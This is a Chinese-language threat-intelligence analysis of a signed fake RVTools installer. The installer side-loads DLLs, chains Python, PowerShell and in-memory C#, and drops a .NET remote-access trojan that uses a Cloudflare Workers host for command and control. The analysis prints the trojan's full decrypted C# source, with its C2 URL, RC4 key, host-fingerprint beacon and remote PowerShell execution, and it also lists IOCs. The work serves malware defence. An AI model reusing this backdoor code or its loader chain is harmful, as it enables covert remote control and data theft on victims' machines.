新型.NET远控木马:跨语言内存加载+Cloudflare Workers C2
面向Cloudflare Workers设计的新型未知远控木马、Python/Powershell/C#内存加载、利用 Cloudflare Workers平台(workers.dev 域名)进行外联交互
概述
近日,笔者关注到一款携带国内数字签名的恶意样本,其签名为Taiyuan Tataomi Technology Co., Ltd.(太原踏涛米科技有限公司)。与笔者此前分析的样本类似,该签名在样本曝光后已被证书颁发机构撤销。
经深入分析发现,该样本在运行过程中采用跨语言调用机制,动态加载多种语言编写的模块(包括 Python、PowerShell 和 C#)至内存中执行,以此规避传统安全检测。最终,样本释放出一款 .NET 远控木马。通过网络调研,笔者暂未发现该远控木马的已知同源样本。结合其独特的C2通信方式—利用Cloudflare Workers平台(workers.dev 域名)进行外联交互,笔者判断这是一款面向Cloudflare Workers设计的新型、未知远控木马。
RV-tools-4.7.0.1.exe
文件名称:RV-tools-4.7.0.1.exe
文件大小:44817464 字节
文件版本:4.8.0.1
修改时间:2025年12月18日 01:12:08
MD5 :288A873227369A421DC7A4148C2D6613
SHA1 :7E4C67D4E10D20B4D1AD0F398D4CD6959F663219
SHA256:e15decd55971d328e0a404ae14278cbd2aa3c43305e27165565712639a8e94f8
数字签名
通过分析,发现此样本携带了国内数字签名:Taiyuan Tataomi Technology Co., Ltd.(太原踏涛米科技有限公司)
数字签名截图如下:

释放文件
通过分析,发现样本运行后,将在多个目录下释放多个文件:
- 在C:\ProgramData\Microsoft\SystemWEB目录下释放WINWORD.EXE、appvisvsubsystems64.dll、rvtools.msi、Cert.txt文件;
- 在C:\ProgramData\Microsoft\AppUpdate目录下释放WINWORD.EXE、appvisvsubsystems64.dll、app-systeminfo.py文件及SystemInfo文件夹;
相关截图如下:



进一步分析,梳理相关释放文件信息如下:
文件路径 | MD5 | 备注 |
C:\ProgramData\Microsoft\AppUpdate\WINWORD.EXE | AA17ECE2443ED014EA50139CE09EC500 | 正常 |
C:\ProgramData\Microsoft\AppUpdate\appvisvsubsystems64.dll | 1A749E03A80BD8047AE6FAD441BE721D | 恶意 |
C:\ProgramData\Microsoft\AppUpdate\app-systeminfo.py | 16626F5D64940A11067C346AE1F621D7 | 恶意 |
C:\ProgramData\Microsoft\SystemWEB\WINWORD.EXE | AA17ECE2443ED014EA50139CE09EC500 | 正常 |
C:\ProgramData\Microsoft\SystemWEB\appvisvsubsystems64.dll | 7A160E20C51755B20FD3147C5BD1A7C7 | 恶意 |
C:\ProgramData\Microsoft\SystemWEB\rvtools.msi | 10610E3E81158E7F2A0C48E2B2F26D99 | 正常 |
C:\ProgramData\Microsoft\SystemWEB\Cert.txt | 2673B393A96B1DEB596F54955C2BB363 |
白加黑
通过分析,发现WINWORD.EXE文件是正常WinWord.exe程序,运行后将加载并运行本地目录下的appvisvsubsystems64.dll文件。
相关截图如下:

运行rvtools.msi
通过分析,样本成功释放并执行恶意模块后,最后将加载运行C:\ProgramData\Microsoft\SystemWEB\目录下的正常rvtools.msi安装包文件,用以迷惑用户。
进一步分析,发现此文件实际与https://downloads.dell.com/rvtools/rvtools4.7.1.msi?hve=Download+RVTools站点下载的rvtools4.7.1.msi文件MD5相同。
相关截图如下:


SystemWEB\appvisvsubsystems64.dll
文件名称:C:\ProgramData\Microsoft\SystemWEB\appvisvsubsystems64.dll
文件大小:27648 字节
修改时间:2025年12月17日 00:37:12
MD5 :7A160E20C51755B20FD3147C5BD1A7C7
SHA1 :6534D5D9F97ECB2925905BC536F7466A02F28281
SHA256:b56e1ebd367b0fd66122fd1ff7454f41e23987b143f00340ebc81a73357cf96f
释放并运行UsbService64.exe
通过分析,发现此样本运行后,将在%TEMP%目录释放并运行UsbService64.exe文件。
相关代码截图如下:


UsbService64.exe
文件名称:UsbService64.exe
文件大小:15360 字节
文件版本:1.0.0.1
MD5 :6A54536BBF5E9C6808065307B3BFBB08
SHA1 :8B0DEDA5AC7D8A31955B8BCE9000BF940940A05A
SHA256:472eb0572e4e63b74b92d40cdc506af1523849a9444973617d4eda402db84733
配置信息
通过分析,发现程序入口处,将以函数参数方式传递内置配置信息,配置信息如下:
- 外联地址:
https://divine-glitter-cfb4.elena-morales.workers.dev/ - 加解密密钥:kgZgwUMuMaoonJhCKrdLzujD
- 休眠时间:15000
相关代码截图如下:

加解密算法
通过分析,发现样本在发送或接收数据时,将以Base64 + RC4算法对通信数据进行加解密运算,RC4算法密钥即为配置信息中的kgZgwUMuMaoonJhCKrdLzujD数据。
相关代码截图如下:


外联通信
通过分析,对样本外联通信行为进行分析,梳理如下:
- 样本采用POST请求进行外联通信,POST请求的URL路径为随机生成,请求载荷数据为json格式;
- 样本将根据配置信息中的休眠时间循环向C&C发起外联请求;
- 样本上线通信数据中,将发送系统信息:
register 16字节长度的随机ID值 COMPUTERNAME USERDOMAIN\USERNAME,不处理返回数据;
- 例如:register hMSEICw8FcX9Y6Yz DESKTOP-JGLLJLD DESKTOP-JGLLJLD\admin
- 样本后续通信数据中,将发送空载荷数据,用以接收远控指令,实现远程控制行为;
外联通信代码截图如下:

上线通信代码截图如下:

远控功能
通过分析,梳理此样本的远控指令列表如下:
远控指令 | 功能 |
exit | 退出程序 |
delay time | 设置休眠时间 |
byop PowerShell程序集字节数组 PowerShell脚本 | 内存加载powershell脚本 |
module cache cachefilename base64data | 解码base64数据载荷,并将其保存至 |
module cache cachefilename url | 从指定URL处下载数据载荷,并将其保存至 |
module run cached cachefilename | 从 |
module run base64 base64data | 解码base64数据获取.NET程序模块,并内存加载 |
module run file filename | 内存加载指定路径下的.NET程序模块 |
相关代码截图如下:

byop指令
通过分析,发现byop指令主要用于内存加载powershell脚本,梳理byop指令使用方法如下:
byop PowerShell程序集字节数组 PowerShell脚本- PowerShell程序集字节数组:推测是System.Management.Automation.dll文件的字节数组
相关代码截图如下:

module cache指令
通过分析,发现module cache指令主要用于接收文件载荷,并将文件保存至C:\ProgramData\UpdateService\xxx.dat路径下,梳理module cache指令使用方法如下:
module cache cachefilename base64data|url
相关代码截图如下:


module run指令
通过分析,发现module run指令主要用于内存加载指定.NET程序载荷,梳理module run指令使用方法如下:
module run [cached|base64|file] <data> [args]- module run cached cachefilename
- module run base64 base64data
- module run file filename
相关代码截图如下:


AppUpdate\appvisvsubsystems64.dll
文件名称:C:\ProgramData\Microsoft\AppUpdate\appvisvsubsystems64.dll
文件大小:227596 字节
修改时间:2025年12月9日 23:35:18
MD5 :1A749E03A80BD8047AE6FAD441BE721D
SHA1 :2E083156BBC0A5094126FCDAE3B86D3BD9FD01FF
SHA256:17aa198d89e3208926c97c05c8960b4085a84dadceffb0d092fee5e0cf29560b
加载app-systeminfo.py
通过分析,发现此样本运行后,将调用CreateProcessW函数执行C:\\ProgramData\\Microsoft\\AppUpdate\\SystemInfo\\UsbServiceBroker.exe C:\\ProgramData\\Microsoft\\AppUpdate\\app-systeminfo.py命令。
进一步分析,发现C:\\ProgramData\\Microsoft\\AppUpdate\\SystemInfo\\目录中的文件实际为python环境库文件,UsbServiceBroker.exe实际为pythonw.exe程序,pythonw.exe程序运行后不会打开控制台窗口。
相关代码截图如下:

app-systeminfo.py
文件名称:C:\ProgramData\Microsoft\AppUpdate\app-systeminfo.py
文件大小:85941 字节
修改时间:2025年12月9日 23:23:12
MD5 :16626F5D64940A11067C346AE1F621D7
SHA1 :831CB2B106C4C9054EE0646735FFE6A9A9473B07
SHA256:2158b1a74763a2e112fa2531f92c0a8718ad998db55ca1db04f70e7d87a223f9
加载powershell脚本
通过分析,发现此py脚本运行后,将加载内置的powershell脚本。
相关代码截图如下:

内存加载C#代码
通过分析,发现powershell脚本运行后,将从BJhrL2FUWDXg变量中解密提取C#代码,随后将内存加载C#代码。
相关代码截图如下:

解密后的C#代码内容如下(格式化处理):
using System;
using System.Threading;
using System.Windows.Forms;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;
using System.Management.Automation.Runspaces;
using System.Net;
using System.Net.Security;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Web.Script.Serialization;
using System.Runtime.InteropServices;
using System.Timers;
namespace nFbZKAtnCfGBT {
public class BCqwOITxyeOyq {
public string UUID {
get;
set;
}
public string ID {
get;
set;
}
public string Data {
get;
set;
}
}
public class dMIvcjBqqv {
[DllImport("user32.dll")] static extern bool ShowWindow(IntPtr CKSfnqkR, UInt32 HgzGpIsOsJJk Uzh);
[DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow();
private static string AERsz;
private static string RzFXikR;
private static byte[] EXjdfe;
private static int oKHY;
private static string fgPseyOsAZM;
private static int RjEPWEWMJ;
private static StringBuilder EjsmFJWkChQzDiO = new StringBuilder();
public static void AKgFESDEiXXz(object wTVQrnWUiEHQjw, ElapsedEventArgs UsdseBHlJpSfKuL) {
if (EjsmFJWkChQzDiO.Length != 0) {
byte[] ZMQnABW = Encoding.ASCII.GetBytes(EjsmFJWkChQzDiO.ToString());
string iBrEVVJwR = String.Format("userinput {0}", Convert.ToBase64String(ZMQnABW));
MdGTfen(iBrEVVJwR, Guid.NewGuid().ToString());
};
EjsmFJWkChQzDiO.Clear();
}
public static void Main() {
ShowWindow(GetConsoleWindow(), 0);
xzcn("https://log-ingest-f1d.nina-alvarez.workers.dev/", "PwVRaQFfQQqxbjmFulvUMoAY", "10000");
}
public static void xzcn(string yRoJxix, string ZNkyaNzEQ, string cOwk) {
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate {return true;});
AERsz = yRoJxix;
RzFXikR = ZOiHjGJ(16);
EXjdfe = Encoding.ASCII.GetBytes(ZNkyaNzEQ);
oKHY = 1000;
Process nOrKerW = Process.GetCurrentProcess();
RjEPWEWMJ = nOrKerW.Id;
try {
oKHY = Convert.ToInt32(cOwk);
} catch {};
bool yWABrJvqLDYKb = false;
string EAiAAoUHUfIu = String.Format("register {0} {1}", RzFXikR, WKyBkFCwYZIPINq());
fgPseyOsAZM = Environment.OSVersion.ToString();
MdGTfen(EAiAAoUHUfIu, null);
while (!yWABrJvqLDYKb) {
try {
Thread.Sleep(oKHY);
string qUQfGgsOLC = MdGTfen(null, null);
BCqwOITxyeOyq TNAQgCWMOJ = oKnZZp(qUQfGgsOLC);
if (TNAQgCWMOJ.UUID != null) {
TNAQgCWMOJ.Data = tHdVnoPhDQLRaD(TNAQgCWMOJ.Data);
string[] tECrSyIBjoph = eiRNvBVY(TNAQgCWMOJ.Data);
if (tECrSyIBjoph[0].Equals("delay")) {
oKHY = Convert.ToInt32(tECrSyIBjoph[1]);
} else if (tECrSyIBjoph[0].Equals("exit")) {
yWABrJvqLDYKb = true;
} else {
Thread REFPEQTWLh = new
Thread(() => vVdKSsIfSbrV(TNAQgCWMOJ.Data, TNAQgCWMOJ.UUID));
REFPEQTWLh.Start();
}
}
} catch {}
}
}
protected static string[] eiRNvBVY(string wDInMmXfxirrtf) {
return wDInMmXfxirrtf.Split(new char[] {' '}, 2);
}
protected static string tHdVnoPhDQLRaD(string oTtNedphqEw) {
byte[] MnGhlWspS = Convert.FromBase64String(oTtNedphqEw);
return Encoding.ASCII.GetString(cOwk.vVdKSsIfSbrV(EXjdfe, MnGhlWspS));
}
protected static BCqwOITxyeOyq oKnZZp(string gIhY) {
var YIkrS = new JavaScriptSerializer();
BCqwOITxyeOyq dSiMciLAoRTKPP = YIkrS.Deserialize < BCqwOITxyeOyq > (gIhY);
return dSiMciLAoRTKPP;
}
protected static string WKyBkFCwYZIPINq() {
string ZHeLNSxU = String.Format("{0} {1}\\{2}", Environment.GetEnvironm entVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"));
return ZHeLNSxU;
}
public static void Dution2() {
long result = 0;
Random rnd = new Random();
for (int i = 0; i < 100; i++) {
int temp = rnd.Next(1, 1000);
result += (long) Math.Pow(temp, 3) % 17;
result *= (temp ^ 0xFF);
result = result >> 2;
};
string junk = Convert.ToBase64String(BitConverter.GetBytes(result));
}
protected static string ZOiHjGJ(int IgMBQeHR) {
StringBuilder vILyUYL = new StringBuilder();
string QftpnrX = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Int32 pUMOJjse = (Int32)(DateTime.Now.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
Process eWZjjnbTRD = Process.GetCurrentProcess();
Random urQS = new Random(eWZjjnbTRD.Id ^ pUMOJjse);
if (IgMBQeHR == 0) {
IgMBQeHR = urQS.Next(1, 16);
};
for (int sWTPxT = 0; sWTPxT < IgMBQeHR; sWTPxT++) {
vILyUYL.Append(QftpnrX[urQS.Next(QftpnrX.Length - 1)]);
};
RjEPWEWMJ = urQS.Next();
return vILyUYL.ToString();
}
public static void Dution1() {
double temp = 0;
for (int i = 1; i <= 50; i++) {
temp += Math.Sin(i * Math.PI / 180);
temp *= Math.Log(i + 1, 2);
temp = Math.Abs(temp) % 13.37;
};
byte[] noise = Encoding.ASCII.GetBytes(temp.ToString("F6"));
Array.Reverse(noise);
}
public static void vVdKSsIfSbrV(string OTrwTFV, string mUWzGWUhlUaMyTM) {
string vVTw;
StringBuilder nRigRSc = new StringBuilder();
try {
Runspace tAtbwG = RunspaceFactory.CreateRunspace();
tAtbwG.Open();
RunspaceInvoke TOfrwfwSs = new RunspaceInvoke(tAtbwG);
Pipeline gepQKRK = tAtbwG.CreatePipeline();
gepQKRK.Commands.AddScript(OTrwTFV);
gepQKRK.Commands.Add("Out-String ");
Collection<PSObject> CKSwQRuhFyalhY = gepQKRK.Invoke();
tAtbwG.Close();
foreach (PSObject cBaFkcB in CKSwQRuhFyalhY) {nRigRSc.AppendLine(cBaFkcB.ToString());};
vVTw = nRigRSc.ToString();
} catch (Exception dPqyAeiYXbWip) {
vVTw = dPqyAeiYXbWip.ToString();
};
MdGTfen(vVTw, mUWzGWUhlUaMyTM);
}
public static string MdGTfen(string vNIINbrFm, string ihdLjNtwSViDR) {
byte[] wPbGQRYLSyZlcy;
if (vNIINbrFm != null) {
wPbGQRYLSyZlcy = cOwk.vVdKSsIfSbrV(EXjdfe, Encoding.ASCII.GetBytes(vNIINbrFm));
} else {
wPbGQRYLSyZlcy = new byte[0];
};
string ehFHGEOT = String.Format("{0}/{1}/", AERsz, ZOiHjGJ(0));
HttpWebRequest kXOgSyoJPi = (HttpWebRequest) WebRequest.Create(ehFHGEOT);
kXOgSyoJPi.Method = "POST";
kXOgSyoJPi.UserAgent = fgPseyOsAZM;
kXOgSyoJPi.Timeout = 10000;
kXOgSyoJPi.Host = "log-ingest-f1d.nina-alvarez.workers.dev";
kXOgSyoJPi.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
Stream HgCMlUTyuI = null;
StreamReader YbwCGkfdMLtNz = null;
string CdGb;
string ltMJOxwc = "";
if (wPbGQRYLSyZlcy.Length > 0) {
ltMJOxwc = Convert.ToBase64String(wPbGQRYLSyZlcy);
};
BCqwOITxyeOyq lZAl = new BCqwOITxyeOyq {UUID = ihdLjNtwSViDR, ID = RzFXikR, Data = ltMJOxwc};
var DiUS = new JavaScriptSerializer();
var kQHAUHezsDvYxCK = DiUS.Serialize(lZAl).ToString();
kXOgSyoJPi.ContentType = "application/json";
try {
HgCMlUTyuI = kXOgSyoJPi.GetRequestStream();
HgCMlUTyuI.Write(Encoding.ASCII.GetBytes(kQHAUHezsDv YxCK), 0, kQHAUHezsDvYxCK.Length);
} finally {
if (HgCMlUTyuI != null) {
HgCMlUTyuI.Dispose();
}
};
try {
HgCMlUTyuI = kXOgSyoJPi.GetResponse().GetResponseStream();
YbwCGkfdMLtNz = new StreamReader(HgCMlUTyuI);
CdGb = YbwCGkfdMLtNz.ReadToEnd();
} catch {
CdGb = "";
};
return CdGb.ToString();
}
}
public class cOwk {
public static byte[] nOrKerW(byte[] yWABrJvqLDYKb, byte[] EAiAAoUHUfIu) {
int WKyBkFCwYZIPINq, MdGTfen, qUQfGgsOLC, TNAQgCWMOJ, oKnZZp;
int[] tHdVnoPhDQLRaD, tECrSyIBjoph;
byte[] eiRNvBVY;
tHdVnoPhDQLRaD = new int[256];
tECrSyIBjoph = new int[256];
eiRNvBVY = new byte[EAiAAoUHUfIu.Length];
for (MdGTfen = 0; MdGTfen < 256; MdGTfen++) {
tHdVnoPhDQLRaD[MdGTfen] = yWABrJvqLDYKb[MdGTfen % yWABrJvqLDYKb.Length];
tECrSyIBjoph[MdGTfen] = MdGTfen;
};
for (qUQfGgsOLC = MdGTfen = 0; MdGTfen < 256; MdGTfen++) {
qUQfGgsOLC = (qUQfGgsOLC + tECrSyIBjoph[MdGTfen] + tHdVnoPhDQLRaD[MdGTfen]) % 256;
oKnZZp = tECrSyIBjoph[MdGTfen];
tECrSyIBjoph[MdGTf en] = tECrSyIBjoph[qUQfGgsOLC];
tECrSyIBjoph[qUQfGgsOLC] = oKnZZp;
};
for (WKyBkFCwYZIPINq = qUQfGgsOLC = MdGTfen = 0; MdGTfen < EAiAAoUHUfIu.Length; MdGTfen++) {
WKyBkFCwYZIPINq++;
WKyBkFCwYZIPINq %= 256;
qUQfGgsOLC += tECrSyIBjoph[WKyB kFCwYZIPINq];
qUQfGgsOLC %= 256;
oKnZZp = tECrSyIBjoph[WKyBkFCwYZIPINq];
tECrSyIBjoph[WKyBkFCwYZIPINq] = tECrSyIBjoph[qUQfGgsOLC];
tECrSyIBjoph[qUQfGgsOLC] = oKnZZp;
TNAQgCWMOJ = tECrSyIBjoph[((tECrSyIBjoph[WKyBkFCwYZIPINq] + tECrSyIBjo ph[qUQfGgsOLC]) % 256)];
eiRNvBVY[MdGTfen] = (byte)(EAiAAoUHUfIu[MdGTfen] ^ TNAQgCWMOJ);
};
return eiRNvBVY;
}
public static byte[] vVdKSsIfSbrV(byte[] REFPEQTWLh, byte[] wDInMmXfxirrtf) {
try {
return nOrKerW(REFPEQTWLh, wDInMmXfxirrtf);
} catch {
return new byte[0];
}
}
}
}C#代码-配置信息
通过分析,发现解密后的C#代码虽然做了变量混淆,但实际代码结构与上述UsbService64.exe程序的代码逻辑基本相同。
进一步分析,发现此C#代码的程序入口处,同样内置了配置信息,配置信息如下:
- 外联地址:
https://log-ingest-f1d.nina-alvarez.workers.dev/ - 加解密密钥:PwVRaQFfQQqxbjmFulvUMoAY
- 休眠时间:10000
相关代码截图如下:

C#代码-加解密算法
通过分析,发现解密后的C#代码的加解密算法与UsbService64.exe程序的加解密算法相同,均是Base64 + RC4算法。
相关代码截图如下:


C#代码-外联通信
通过分析,发现解密后的C#代码的外联通信行为除外联地址不同外,其余行为均与UsbService64.exe程序一致。
相关代码截图如下:

C#代码-远控功能
通过分析,梳理解密后的C#代码的远控功能如下:
远控指令 | 功能 | |
delay | 设置休眠时间 | |
exit | 退出程序 | |
其他 | 内存加载powershell脚本 |
相关代码截图如下:

通信分析
为了能够更深入的挖掘上述两个版本的.NET远控程序的通信行为,笔者尝试基于any.run沙箱,提取了两个版本的.NET远控程序HTTPS解密后的载荷内容,并尝试对其通信载荷进行解密。
UsbService64.exe
any.run沙箱截图如下:

提取any.run沙箱通信载荷如下:
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":"n+phoBrjN1AGaZzTZor54nDSCuSUSh67ILLJPfZinUCJrh0UIXRHuZSGLCDvv9X9EU3ysbcF9I/tBgQUpLl4"}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID": null, "ID": "hMSEICw8FcX9Y6Yz", "Data": "EZGWeaffSmdmSNuKuBXia"}
{"UUID":"795317ae-de66-4e40-a42c-9a27b0a4f45e","ID":"hMSEICw8FcX9Y6Yz","Data":"uvY3rSDRBFdHM+T2R/GO8hGmUMjPRG6XANG5H/Nxh2OW6hUnDwpfxLLhPQLat8PbJDeBgbIByaTzHTMDkIh9nvypooHYgKsm"}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID": "795317ae-de66-4e40-a42c-9a27b0a4f45e", "ID": "hMSEICw8FcX9Y6Yz", "Data": "mudpqAT+"}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID": null, "ID": "hMSEICw8FcX9Y6Yz", "Data": "vuMiVaEZvJUbdSKVMwxBtpbYolIgcQqKiAGxnYAPDvfWqUbVmOFOcyFGPJcaDjkOnHsCZvOIBYLxOkqpxOUVHaeSBHzVrhlbslBbXTatgGoafCwWEKQrYvdeGviSrNLTJiSPIkMpAJGTuZkNvrAeCwfilEVEtZRvSvCMNrcTaAznxvYhBNAGWgHpSCiFRQoWZQDrHBislMJKoMbDCljYYmzHldwcbofgKtumiLBHQCxrbprgXYGAPWIykBAvFxGFwpNKBonJOaAbejxOyhQwFYqVFxxqaKDuYFfpzAdkPqGYTtOZbuiygALuLXxvfxfbRbvFQMCNfNEzBNBcMWTZgxaogGhqTsbEDVkazIfCBfMvlR"}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}
{"UUID":null,"ID":"hMSEICw8FcX9Y6Yz","Data":""}基于代码逻辑,发现在接收远控指令时,只有携带UUID值,才会被程序处理。
因此,提取有效载荷如下:
- 上线载荷:n+phoBrjN1AGaZzTZor54nDSCuSUSh67ILLJPfZinUCJrh0UIXRHuZSGLCDvv9X9EU3ysbcF9I/tBgQUpLl4
- 远控功能:uvY3rSDRBFdHM+T2R/GO8hGmUMjPRG6XANG5H/Nxh2OW6hUnDwpfxLLhPQLat8PbJDeBgbIByaTzHTMDkIh9nvypooHYgKsm
- 远控功能:mudpqAT+
解密后载荷内容如下:



内存C#代码
any.run沙箱截图如下:

提取any.run沙箱通信载荷如下:
{"UUID":null,"ID":"BWo8U27UOgVDw3Fm","Data":"fvQhP3yYg+DUATSMbMiYV3zUBAu3Sw2hCEC15hd8dMMAtJzolDCVYMycrzPAo6YSOZADR8AdrZUXiLp0uK42"}
{"UUID": null, "ID": "BWo8U27UOgVDw3Fm", "Data": "QKQijculRqNigcNPMIhXztCTHfSCwVFvdsGmwoFsqZyGgWajUnflfYUIOjWIaslUVgzfAdAhAsbdYZfIqMdtxrzIOfxMJYZjyVvwuOSQqGteehzPiSjKHhXrhmvnWbBfougulEJqJtjBxHzQvJxtWdhrpmmvfBQMZWUYccwkApyzCWmNIzIAFjoqKZHYHEYLwOcwYxkHuXQPCCisBlRKkzjMXvsLewnnnyLxZFreaDvXYRBmtdUmARnETgdNSXEoRYIhDrGHeaVqIFtozUoLdSblKyVikCDweSdINAnEzyefHCXKdlQWFwUCbcPVZhXFqQcWozIdNsbXcjzbgcEIWbWcrwrxqJQPTbnynbsvMPtZPuEUJYDBHREBoXlYrpkYbdyEntOGnnYeebBLkpipqbzNFFUzcmjCIjLsgDeUfunZXKZvkMqqcAXJErZheZdKTwVBELIiwBHyDAbfzadfCGupNVTPfjvShmNSKhwJcDZvkxCPNISoUbjBVCdMDUzhcUUUrxNvbwLrhkUoDEzuyEfSKUPZVVcYeMFAogMIpuavMUzRmbYUGIIhiCGbPYlHIEAFUZPtDqysOVVImCxJChmBbxfyTXIcALnjhxSVSMfEegtKioeCAvsmOEElOkFMFfNsqmXrtaqNBxyiJGMyIFSIzyoYcbDKRIFhahqVYvBLtJonuaTEHWbtTpmUpEtORPfuSMVDiVZMZvETfbxkiGCwxIsBqInWFxmzqSkwahCQspVHNKipIOUGNRoSiktTQlrDgjMjjzHIBKSuvRegrcRBAD"}
{"UUID":null,"ID":"BWo8U27UOgVDw3Fm","Data":"fvQhP3yYg+DUATSMbMiYV3zUBAu3Sw2hCEC15hd8dMMAtJzolDCVYMycrzPAo6YSOZADR8AdrZUXiLp0uK42"}
{"UUID":null,"ID":"BWo8U27UOgVDw3Fm","Data":""}
{"UUID": "1a29ef69-94ad-4d7e-82e7-7113d78d29b2", "ID": "BWo8U27UOgVDw3Fm", "Data": "e/kpN2KF"}
{"UUID":"1a29ef69-94ad-4d7e-82e7-7113d78d29b2","ID":"BWo8U27UOgVDw3Fm","Data":"aPQ1PXuDlr+eJA+PPvHOPEj/DjSdMTTqbw=="}
{"UUID": null, "ID": "BWo8U27UOgVDw3Fm", "Data": "FlBNnctDNHaJVIcHxHfLUOCCgQerFlvVozKervaKYfmYVbRHuHOmxtnNXNCFcTA"}提取有效载荷如下:
- 上线载荷:fvQhP3yYg+DUATSMbMiYV3zUBAu3Sw2hCEC15hd8dMMAtJzolDCVYMycrzPAo6YSOZADR8AdrZUXiLp0uK42
- 远控功能:e/kpN2KF
- 远控功能:aPQ1PXuDlr+eJA+PPvHOPEj/DjSdMTTqbw==
解密后载荷内容如下:



域名调研
通过对log-ingest-f1d.nina-alvarez.workers.dev、divine-glitter-cfb4.elena-morales.workers.dev域名进行调研,发现上述域名实际是由Cloudflare Workers平台为用户自动分配的免费子域名,用于托管通过Cloudflare Workers部署的无服务器应用。
相关截图如下:

IOCs
#RV-tools-4.7.0.1.exe
e15decd55971d328e0a404ae14278cbd2aa3c43305e27165565712639a8e94f8
Taiyuan Tataomi Technology Co., Ltd.
#RV-tools-4.8.0.1.exe
c85a23cddbc9979c0c9c8040218c41b0a0008fee9e60cf8a885f94594eff04ea
Taiyuan Tataomi Technology Co., Ltd.
#C:\ProgramData\Microsoft\SystemWEB\appvisvsubsystems64.dll
b56e1ebd367b0fd66122fd1ff7454f41e23987b143f00340ebc81a73357cf96f
#UsbService64.exe
472eb0572e4e63b74b92d40cdc506af1523849a9444973617d4eda402db84733
#C:\ProgramData\Microsoft\AppUpdate\appvisvsubsystems64.dll
17aa198d89e3208926c97c05c8960b4085a84dadceffb0d092fee5e0cf29560b
#C:\ProgramData\Microsoft\AppUpdate\app-systeminfo.py
2158b1a74763a2e112fa2531f92c0a8718ad998db55ca1db04f70e7d87a223f9
#外联地址
log-ingest-f1d.nina-alvarez.workers.dev
divine-glitter-cfb4.elena-morales.workers.dev
104.21.90.78(美国 Cloudflare, Inc.)
172.67.153.253(美国 Cloudflare, Inc.)该恶意样本通过合法签名白加黑加载多语言模块,最终释放基于.NET且利用Cloudflare Workers通信的未知远控木马。
由 AI 根据全文自动生成,仅供参考,以原文为准